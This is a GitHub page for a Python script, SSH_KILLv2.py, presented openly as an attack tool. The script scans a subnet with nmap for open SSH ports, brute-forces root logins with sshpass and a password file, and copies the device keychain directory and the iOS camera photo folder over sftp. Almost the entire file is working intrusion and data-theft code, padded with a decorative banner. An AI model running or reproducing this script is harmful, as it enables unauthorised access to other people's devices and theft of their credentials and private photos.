-
Notifications
You must be signed in to change notification settings - Fork 4
/
SSH_KILLv2.py
111 lines (105 loc) · 3.18 KB
/
SSH_KILLv2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import subprocess
import re
import socket
import os
import optparse
import time as mm
import sys as n
import re
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
C = '\033[36m' # cyan
GR = '\033[37m' # gray
def slow(M): ## By Twitter : @Matrix0700
for c in M + '\n':
n.stdout.write(c)
n.stdout.flush()
mm.sleep(1. / 100)
def slow2(M): ## By Twitter : @Matrix0700
for c in M + '\n':
n.stdout.write(c)
n.stdout.flush()
mm.sleep(1. / 25)
def slow1(M): ## By Twitter : @Matrix0700
for c in M + '\n':
n.stdout.write(c)
n.stdout.flush()
try:
os.system("apt install sshpass")
os.system("clear")
except:
pass
parser = optparse.OptionParser()
parser.add_option("-p", "--path",dest="path", help="were you want save ")
(options, arguments) = parser.parse_args()
logo1 = R+'''
._. _.____.
) \. / .(
) | .' .(
). ). .' .(
) |. .' (
). ; ./ .(
) | ) (
).; :.(
)| .|.;
.^--^./ (.
;0..0; \
'vv'_.:_.;
m M
'''
url = W+'https://github.com/xcodeon1 '
by = W+'Coded By :'
twitter =W+'Twitter :'
Code = G+'𝚇 𝙲 𝙾 𝙳 𝙴'
user = G+'@𝚇 𝙲 𝙾 𝙳 𝙴 𝙾 𝙽 𝙴 𝟷'
logo=W+'''
█▀ █▀ █░█ █▄▀ █ █░░ █░░ █░█ ▀█
▄█ ▄█ █▀█ █░█ █ █▄▄ █▄▄ ▀▄▀ █▄
'''
slow(C+f'''
{logo}
{logo1}
{by} {Code}
{twitter} {user}
{url}
''' )
point = W+'.'*6
slow2(R+'Attack now\n'+W+'.'*65)
parser = optparse.OptionParser()
parser.add_option("-p", "--path",dest="path", help="path you save file in ")
(options, arguments) = parser.parse_args()
ip = str(input("Put you attack ip machine : "))
check_ip = str(subprocess.run(['nmap', '-p22','%s/24'% ip], stdout=subprocess.PIPE))
All_ip = re.findall(re.compile('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'), check_ip)
# ios= re.findall(re.compile('^open'),check_ip)
# print(check_ip)
for f in All_ip:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.5)
host = f
port = 22
if s.connect_ex((host, port)):
pass
else:
file = open("password.txt", "r")
lines = file.readlines()
# print(type(lines))
# print(lines)
for Password in lines:
Passowrd = str(Password).strip()
str(subprocess.run(
["sshpass", "-p", Password, "ssh", "-o StrictHostKeyChecking=no", f"root@{host}"]))
os.system("clear")
str(subprocess.run(["sshpass", "-p", Password, "sftp", "-r",
f"root@{host}:/var/Keychains %s" % options.path]))
str(subprocess.run(
["sshpass", "-p", Password, "sftp", "-r",
f"root@{host}:/var/mobile/Media/DCIM/100APPLE/ %s" % options.path]))
exit()
except:
pass